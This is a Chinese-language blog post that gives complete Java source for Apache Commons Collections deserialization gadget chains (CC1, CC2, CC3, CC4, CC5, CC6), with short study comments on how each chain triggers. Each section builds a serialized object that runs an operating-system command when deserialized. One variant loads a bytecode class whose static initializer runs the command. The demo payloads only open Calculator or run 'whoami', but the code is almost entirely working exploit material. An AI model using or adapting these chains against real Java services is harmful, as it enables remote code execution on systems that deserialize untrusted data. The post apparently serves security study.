JAVA反序列化CC链

参考文章:

CC1

CC1_CC321_TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package iN1t0.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_CC321_TransformedMap {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

// Runtime.getRuntime().exec("id");

// InvokerTransformer的transform可触发任意方法调用
/*
InvokerTransformer invokerTransformer = new InvokerTransformer(null,null,null);
invokerTransformer.transform(new String[0]);
*/

// InvokerTransformer调用任意方法示例
//
// /*
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app"});
// invokerTransformer.transform(Runtime.getRuntime());
// */

// 哪里调用了transform同名方法?最好transform()接受的参数类型是Object(比较宽泛)
// org.apache.commons.collections.map下
// DefaultedMap.get(Object)/LazyMap.get(Object)/
// Transformed.transformKey()/Transformed.transformValue()/TransformedMap.checkSetValue()

// checkSetValue由protected修饰 不能直接调用
// TransformedMap的构造方法被protected修饰 只能被自身调用
// TransformedMap中被public修饰的有 decorate<调用TransformedMap的构造方法> decorateTransform<调用TransformedMap的构造方法> put putAll
// 所以调用TransformedMap.decorate就能调用TransformedMap的构造方法

// checkSetValue主要调用的是valueTransformer.transform() 这个valueTransformer其实对应的就是
// decorate传给TransformedMap构造函数的第三个参数`Transformer valueTransformer`
Map hashMap = new HashMap();
hashMap.put("value", "something");

// hashMap.put("key",Runtime.getRuntime());
// 此时尝试序列化的时候会报错 java.io.NotSerializableException: java.lang.Runtime
// 因为Runtime没有实现Serializable接口 但是其实Class是实现了的
// 这里我们把目光重写聚焦到实现了Transformer接口的类上 ConstantTransformer InvokerTransformer ChainedTransformer

// /*
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
r.exec("whoami");
// */

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, Object> decoratedMap = TransformedMap.decorate(hashMap,null, chainedTransformer);
// decoratedMap.put("key",Runtime.getRuntime());
// 其实TransformedMap.decorateTransform()也是可以触发的 不过要一开始就在Map中hashMap.put("key",Runtime.getRuntime())
// 因为decorate是只装饰不先转换已有元素 put/putAll时才转换(transform)
// decorateTransform是立即转换 Map 中所有已有元素,然后清除并重新添加转换后的元素

// 怎么调用checkSetValue呢?
// 查找用法org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用
// 手动触发一下
// for (Map.Entry entry : decoratedMap.entrySet()){
// entry.setValue(Runtime.getRuntime());
// System.out.println(entry.getKey() + "=" + entry.getValue());
// }

// 找一下哪里调用了setValue?
// 最好是JDK自带
// 最好这个setValue就在某个类重写的readObject()方法里
// sun.reflect.annotation.AnnotationInvocationHandler#readObject()##memberValue.setValue()
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// AnnotationInvocationHandler需要传入一个注解类型的Class对象 比如Override.class
// Class<?> memberType = memberTypes.get(name); 这里需要获取`Override.class`中名为`name的值`的成员/属性
// 可是Overrid.class的成员是空的,所以要找别的
Object o = annotationInvocationHandlerConstructor.newInstance(Retention.class,decoratedMap);

serialize(o,"/tmp/CC1.bin");
unserialize("/tmp/CC1.bin");

}

public static void serialize(Object obj, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

CC1_CC321_LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package iN1t0.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1_CC321_LazyMap {

public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
r.exec("whoami");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);
Map map = new HashMap();
map.put("value", "value");
Map<Object,Object> decoratedLazyMap = LazyMap.decorate(map, chainedTransformer);

// LazyMap.get()一个不存在的键的时候 会调用transform()
// decoratedLazyMap.get("aaa");
// sun.reflect.annotation.AnnotationInvocationHandler
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object decoratedLazyMapObject = annotationInvocationHandlerConstructor.newInstance(Override.class, decoratedLazyMap);

// AnnotationInvocationHandler实现了InvocationHandler接口,并且被用于代理对象,当代理对象的方法被调用时,会调用其invoke方法
// 被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke 方法

// decoratedLazyMap可以RCE,对他创建一个动态代理,再序列化,当反序列化会走到AnnotationInvocationHandler的readObject
// 然后会遍历memberValues 从而触发InvocationHandler.invoke()
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), (InvocationHandler) decoratedLazyMapObject);
Object proxyMapObject = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

serialize(proxyMapObject,"/tmp/CC1_LazyMap.bin");
deserialize("/tmp/CC1_LazyMap.bin");

}

public static void serialize(Object obj, String filename) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
oos.writeObject(obj);
}
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
return ois.readObject();
}
}

}

CC6

CC6_CC321_LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package iN1t0.CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6_CC321_LazyMap {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app"}),
};

// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);

ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

Map<String, Object> lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
// lazyMap.get("haha");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,null);
// tiedMapEntry.getValue();
// tiedMapEntry.hashCode();
Map<Object, Object> hashMap = new HashMap<Object,Object>();
hashMap.put(tiedMapEntry,"haha");

HashSet hashSet = new HashSet();
hashSet.add(hashMap);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
// 清空由于 hashMap.put 对 LazyMap 造成的影响
// 清除构造阶段 put 时产生的无效缓存数据,确保反序列化时 LazyMap 会再次触发 transformer 链条,而不是直接返回缓存值"haha"
lazyMap.clear();

serialize(hashSet, "/tmp/CC6.bin");
unserialize("/tmp/CC6.bin");
}

public static void serialize(Object obj, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

CC3

exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package iN1t0.CC3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class exec extends AbstractTranslet {

static {
try {
Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

CC3_CC321_LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package iN1t0.CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_CC321_LazyMap {
public static void main(String[] args) throws IOException, TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

// TemplatesImpl 内部类 TransletClassLoader 重写了 defineClass
byte[] bytes = Files.readAllBytes(Paths.get("/Users/jade/Github/CyberSecurity/code_analysis/CommonsCollectionsDemo/target/classes/iN1t0/CC3/exec.class"));
byte[][] bytesCode = {bytes};

TemplatesImpl templatesImpl = new TemplatesImpl();

Class templatesImplClass = templatesImpl.getClass();
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl,"hello");

Field bytecodesField = templatesImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templatesImpl,bytesCode);

Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl,new TransformerFactoryImpl());

// templatesImpl.newTransformer();

// TrAXFilter trAXFilter = new TrAXFilter(templatesImpl);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map lazyMapdecorated = LazyMap.decorate(new HashMap(), chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,lazyMapdecorated);

Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),(InvocationHandler) o);
Object o1 = constructor.newInstance(Override.class, proxyMap);

serialize(o1, "/tmp/CC3.bin");
deserialize("/tmp/CC3.bin");
}

public static void serialize(Object Object, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(Object);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}

}

CC5

CC5_CC321_LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package iN1t0.CC5;

import iN1t0.Tools.Deserializer;
import iN1t0.Tools.Serializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5_CC321_LazyMap {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

Class c = Runtime.class;
Method m = c.getMethod("getRuntime",null);
Runtime r = (Runtime) m.invoke(null,null);
r.exec("whoami");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(innerMap,null);
// entry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("haha");
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,entry);

Serializer.serialize(badAttributeValueExpException,"/tmp/CC5demo.bin");
Deserializer.deserialize("/tmp/CC5demo.bin");
}

public static void serialize(Object obj, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC4

依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4_CC40_TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package iN1t0.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import iN1t0.Tools.Deserializer;
import iN1t0.Tools.Serializer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4_CC40_TransformingComparator {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class templatesImplClass = templatesImpl.getClass();
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl,"hahah");
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl,new TransformerFactoryImpl());
Field byteField = templatesImplClass.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/jade/Github/CyberSecurity/code_analysis/CommonsCollectionsDemo/target/classes/iN1t0/CC3/exec.class"));
byte[][] byteCodes = {bytes};
byteField.set(templatesImpl,byteCodes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
// 下面来调用TrAXFilter的构造方法,而其构造方法接收的参数类型是Templates
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);
TransformingComparator fakeTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
// TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(fakeTransformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class transformingComparatorClass = fakeTransformingComparator.getClass();
Field f = transformingComparatorClass.getDeclaredField("transformer");
f.setAccessible(true);
f.set(fakeTransformingComparator,chainedTransformer);

Serializer.serialize(priorityQueue,"/tmp/CC4.bin");
Deserializer.deserialize("/tmp/CC4.bin");
}
}

CC2

依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC2_CC40_TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package iN1t0.CC2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import iN1t0.Tools.Deserializer;
import iN1t0.Tools.Serializer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2_CC40_TransformingComparator {
/*
CC2 和 CC4 的区别:CC2直接InvokerTransformer加载字节码 CC4还是InstantiateTransformer加载字节码
*/
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
Class templatesImplClass = templatesImpl.getClass();
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl,"hahah");
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl,new TransformerFactoryImpl());
Field byteField = templatesImplClass.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("/Users/jade/Github/CyberSecurity/code_analysis/CommonsCollectionsDemo/target/classes/iN1t0/CC3/exec.class"));
byte[][] byteCodes = {bytes};
byteField.set(templatesImpl,byteCodes);

// 此时可以调用newTransformer()触发 也可以丢进ChainedTransformer/InvokerTransformer后用transformer()触发
// templatesImpl.newTransformer();
// invokerTransformer.transform(templatesImpl);
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",null,null);
TransformingComparator fakeTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
// TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
// transformingComparator.compare(null,templatesImpl);
PriorityQueue priorityQueue = new PriorityQueue(fakeTransformingComparator);
priorityQueue.add(templatesImpl);
priorityQueue.add(1);

Class transformingComparatorClass = fakeTransformingComparator.getClass();
Field f = transformingComparatorClass.getDeclaredField("transformer");
f.setAccessible(true);
f.set(fakeTransformingComparator,invokerTransformer);

Serializer.serialize(priorityQueue,"/tmp/CC4.bin");
Deserializer.deserialize("/tmp/CC4.bin");

}
}
Author

iN1t0

Posted on

2025-09-13

Updated on

2025-09-13

Licensed under